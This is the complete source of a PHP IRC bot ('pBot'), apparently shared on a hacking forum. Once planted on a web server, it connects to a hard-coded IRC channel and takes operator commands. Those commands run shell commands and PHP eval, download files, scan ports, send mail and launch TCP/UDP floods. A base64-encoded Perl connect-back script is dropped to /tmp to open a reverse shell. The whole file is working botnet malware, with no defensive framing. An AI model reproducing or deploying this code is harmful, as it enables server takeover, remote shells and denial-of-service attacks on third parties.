کد PHP:
<?

*//////////////////////////////////////////////////////////////////////
*
*              
Digital Ashiyane Security Team
*                  Powered By MobtakerZ
*                   ashiyane.org/Forums
*                    
*
//////////////////////////////////////////////////////////////////////
*
*
* .
user <password//login to the bot
* .logout //logout of the bot
* .die //kill the bot
* .restart //restart the bot
* .mail <to> <from> <subject> <msg//send an email
* .dns <IP|HOST//dns lookup
* .download <URL> <filename//download a file
* .exec <cmd// uses exec() //execute a command
* .---ec <cmd// uses shell_exec() //execute a command
* .cmd <cmd// uses popen() //execute a command
* .info //get system information
* .php <php code// uses eval() //execute php code
* .tcpflood <target> <packets> <packetsize> <port> <delay//tcpflood attack
* .udpflood <target> <packets> <packetsize> <delay//udpflood attack
* .raw <cmd//raw IRC command
* .rndnick //change nickname
* .pscan <host> <port//port scan
* .safe // test safe_mode (dvl)
* .inbox <to// test inbox (dvl)
* .conback <ip> <port// conect back (dvl)
* .uname // return shell's uname using a php function (dvl)
*
*
////////////////////////////////////////////////////////////////////////

set_time_limit(0);
error_reporting(0);
echo 
"ok!";

class 
pBot
{
var 
$config = array("server"=>"irc.allnetwork.org",
"port"=>"6667",
"pass"=>"",
"prefix"=>"jatimcom",
"maxrand"=>"5",
"chan"=>"#jatimcom",
"chan2"=>"#jatimcom",
"key"=>"jatimcom",
"modes"=>"+ps",
"password"=>"jatimcom",
"trigger"=>".",
"hostauth"=>"*" // * for any hostname (remember: /setvhost takapusi.cok)
);
var 
$users = array();
function 
start()
{
if(!(
$this->conn fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
$this->start();
$ident $this->config['prefix'];
$alph range("0","9");
for(
$i=0;$i<$this->config['maxrand'];$i++)
$ident .= $alph[rand(0,9)];
if(
strlen($this->config['pass'])>0)
$this->send("PASS ".$this->config['pass']);
$this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
$this->set_nick();
$this->main();
}
function 
main()
{
while(!
feof($this->conn))
{
$this->buf trim(fgets($this->conn,512));
$cmd explode(" ",$this->buf);
if(
substr($this->buf,0,6)=="PING :")
{
$this->send("PONG :".substr($this->buf,6));
}
if(isset(
$cmd[1]) && $cmd[1] =="001")
{
$this->send("MODE ".$this->nick." ".$this->config['modes']);
$this->join($this->config['chan'],$this->config['key']);
if (@
ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode "on"; }
else { 
$safemode "off"; }
$uname php_uname();
$this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)");

}
if(isset(
$cmd[1]) && $cmd[1]=="433")
{
$this->set_nick();
}
if(
$this->buf != $old_buf)
{
$mcmd = array();
$msg substr(strstr($this->buf," :"),2);
$msgcmd explode(" ",$msg);
$nick explode("!",$cmd[0]);
$vhost explode("@",$nick[1]);
$vhost $vhost[1];
$nick substr($nick[0],1);
$host $cmd[0];
if(
$msgcmd[0]==$this->nick)
{
for(
$i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i+1];
}
else
{
for(
$i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i];
}
if(
count($cmd)>2)
{
switch(
$cmd[1])
{
case 
"QUIT":
if(
$this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case 
"PART":
if(
$this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case 
"PRIVMSG":
if(!
$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
{
if(
substr($mcmd[0],0,1)==".")
{
switch(
substr($mcmd[0],1))
{
case 
"user":
if(
$mcmd[1]==$this->config['password'])
{
$this->privmsg($this->config['chan'],"[\2Auth\2]: OK $nick You Are Ready... My OwnER !!!!!!!!!!!!!!!!!!!!");
$this->log_in($host);
}
else
{
$this->privmsg($this->config['chan'],"[\2Auth\2]: FUCK YOU.....!!!! $nick !!!!");
}
break;
}
}
}
elseif(
$this->is_logged_in($host))
{
if(
substr($mcmd[0],0,1)==".")
{
switch(
substr($mcmd[0],1))
{
case 
"restart":
$this->send("QUIT :restart commando from $nick");
fclose($this->conn);
$this->start();
break;
case 
"mail"//mail to from subject message
if(count($mcmd)>4)
{
$header "From: <".$mcmd[2].">";
if(!
mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config['chan'],"[\2mail\2]: Impossivel mandar e-mail.");
}
else
{
$this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2");
}
}
break;
case 
"safe":
if (@
ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode "on";
}
else {
$safemode "off";
}
$this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode."");
break;
case 
"inbox"//teste inbox
if(isset($mcmd[1]))
{
$token md5(uniqid(rand(), true));
$header "From: <inbox".$token."@jatimcom.cok>";
$a php_uname();
$b getenv("SERVER_SOFTWARE");
$c gethostbyname($_SERVER["HTTP_HOST"]);
if(!
mail($mcmd[1],"InBox Test","#crew@jatimcom. since 2003\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\n\ngreetz: wicked\nby: dvl <jatim.community@gmail.com>",$header))
{
$this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send");
}
else
{
$this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");
}
}
break;
case 
"conback":
if(
count($mcmd)>2)
{
$this->conback($mcmd[1],$mcmd[2]);
}
break;
case 
"dns":
if(isset(
$mcmd[1]))
{
$ip explode(".",$mcmd[1]);
if(
count($ip)==&& is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
case 
"info":
case 
"vunl":
if (@
ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode "on"; }
else { 
$safemode "off"; }
$uname php_uname();
$this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
$this->privmsg($this->config['chan'],"[\2vuln\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
break;
case 
"bot":
$this->privmsg($this->config['chan'],"[\2bot\2]: phpbot 2.0 recording by jatimcom.");
break;
case 
"uname":
if (@
ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode "on"; }
else { 
$safemode "off"; }
$uname php_uname();
$this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
break;
case 
"rndnick":
$this->set_nick();
break;
case 
"raw":
$this->send(strstr($msg,$mcmd[1]));
break;
case 
"eval":
$eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
break;
case 
"---ec":
$command substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec shell_exec($command);
$ret explode("\n",$exec);
for(
$i=0;$i<count($ret);$i++)
if(
$ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;

case 
"exec":
$command substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec exec($command);
$ret explode("\n",$exec);
for(
$i=0;$i<count($ret);$i++)
if(
$ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;

case 
"passthru":
$command substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec passthru($command);
$ret explode("\n",$exec);
for(
$i=0;$i<count($ret);$i++)
if(
$ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;

case 
"popen":
if(isset(
$mcmd[1]))
{
$command substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$this->privmsg($this->config['chan'],"[\2popen\2]: $command");
$pipe popen($command,"r");
while(!
feof($pipe))
{
$pbuf trim(fgets($pipe,512));
if(
$pbuf != NULL)
$this->privmsg($this->config['chan']," : $pbuf");
}
pclose($pipe);


case 
"system":
$command substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec system($command);
$ret explode("\n",$exec);
for(
$i=0;$i<count($ret);$i++)
if(
$ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;


case 
"pscan"// .pscan 127.0.0.1 6667
if(count($mcmd) > 2)
{
if(
fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
$this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
else
$this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
}
break;


case 
"download":
if(
count($mcmd) > 2)
{
if(!
$fp fopen($mcmd[2],"w"))
{
$this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download. Permissao negada.");
}
else
{
if(!
$get file($mcmd[1]))
{
$this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download de \2".$mcmd[1]."\2");
}
else
{
for(
$i=0;$i<=count($get);$i++)
{
fwrite($fp,$get[$i]);
}
$this->privmsg($this->config['chan'],"[\2download\2]: Arquivo \2".$mcmd[1]."\2 baixado para \2".$mcmd[2]."\2");
}
fclose($fp);
}
}
else { 
$this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); }
break;
case 
"die":
$this->send("QUIT : $nick 0,4«®¤[14J15A0TIM15C15O14M0]¤®»");
fclose($this->conn);
exit;
case 
"logout":
$this->log_out($host);
$this->privmsg($this->config['chan'],"[\2auth\2]: $nick Ndang Cewok Lek Wes Mari!!!!");
break;
case 
"udpflood":
if(
count($mcmd)>3)
{
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
}
break;
case 
"tcpflood":
if(
count($mcmd)>5)
{
$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
}
break;
}
}
}
break;
}
}
}
$old_buf $this->buf;
}
$this->start();
}
function 
send($msg)
{
fwrite($this->conn,"$msg\r\n");

}
function 
join($chan,$key=NULL)
{
$this->send("JOIN $chan $key");
}
function 
privmsg($to,$msg)
{
$this->send("PRIVMSG $to :$msg");
}
function 
notice($to,$msg)
{
$this->send("NOTICE $to :$msg");
}
function 
is_logged_in($host)
{
if(isset(
$this->users[$host]))
return 
1;
else
return 
0;
}
function 
log_in($host)
{
$this->users[$host] = true;
}
function 
log_out($host)
{
unset(
$this->users[$host]);
}
function 
set_nick()
{
if(isset(
$_SERVER['SERVER_SOFTWARE']))
{
if(
strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
$this->nick "[A]";
elseif(
strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
$this->nick "[B]";
elseif(
strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
$this->nick "[C]";
else
$this->nick "[D]";
}
else
{
$this->nick "[E]";
}
$this->nick .= $this->config['prefix'];
for(
$i=0;$i<$this->config['maxrand'];$i++)
$this->nick .= mt_rand(0,9);
$this->send("NICK ".$this->nick);
}
function 
udpflood($host,$packetsize,$time) {
$this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
$packet "";
for(
$i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
$timei time();
$i 0;
while(
time()-$timei $time) {
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env $i $packetsize;
$env $env 1048576;
$vel $env $time;
$vel round($vel);
$env round($env);
$this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
}
function 
tcpflood($host,$packets,$packetsize,$port,$delay)
{
$this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
$packet "";
for(
$i=0;$i<$packetsize;$i++)
$packet .= chr(mt_rand(1,256));
for(
$i=0;$i<$packets;$i++)
{
if(!
$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
{
$this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
return 
0;
}
else
{
fwrite($fp,$packet);
fclose($fp);
}
sleep($delay);
}
$this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port.");
}
function 
conback($ip,$port)
{
$this->privmsg($this->config['chan'],"[\2conback\2]: tentando conectando a $ip:$port");
$dc_source "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
if (
is_writable("/tmp"))
{
if (
file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
$fp=fopen("/tmp/dc.pl","w");
fwrite($fp,base64_decode($dc_source));
passthru("perl /tmp/dc.pl $ip $port &");
unlink("/tmp/dc.pl");
}
else
{
if (
is_writable("/var/tmp"))
{
if (
file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); }
$fp=fopen("/var/tmp/dc.pl","w");
fwrite($fp,base64_decode($dc_source));
passthru("perl /var/tmp/dc.pl $ip $port &");
unlink("/var/tmp/dc.pl");
}
if (
is_writable("."))
{
if (
file_exists("dc.pl")) { unlink("dc.pl"); }
$fp=fopen("dc.pl","w");
fwrite($fp,base64_decode($dc_source));
passthru("perl dc.pl $ip $port &");
unlink("dc.pl");
}
}
}
}

$bot = new pBot;
$bot->start();

?>